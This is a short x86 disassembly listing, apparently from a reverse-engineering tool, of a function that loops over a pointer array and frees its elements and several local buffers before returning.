mov ebx, dword [ebp - 0x10]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x1000d147
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x1000d143
imul eax, dword [ebx]
jmp 0x1000d138
mov ecx, eax
test ecx, ecx
je 0x1000d166
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x1000d15f
push ebx
push eax
call fcn.100b8c45
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x1000d14d
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x1000d17e
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x1000d18e
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x1000d19e
push ebx
call fcn.100b8c45
add esp, 4
mov esp, ebp
pop ebp
ret 0x14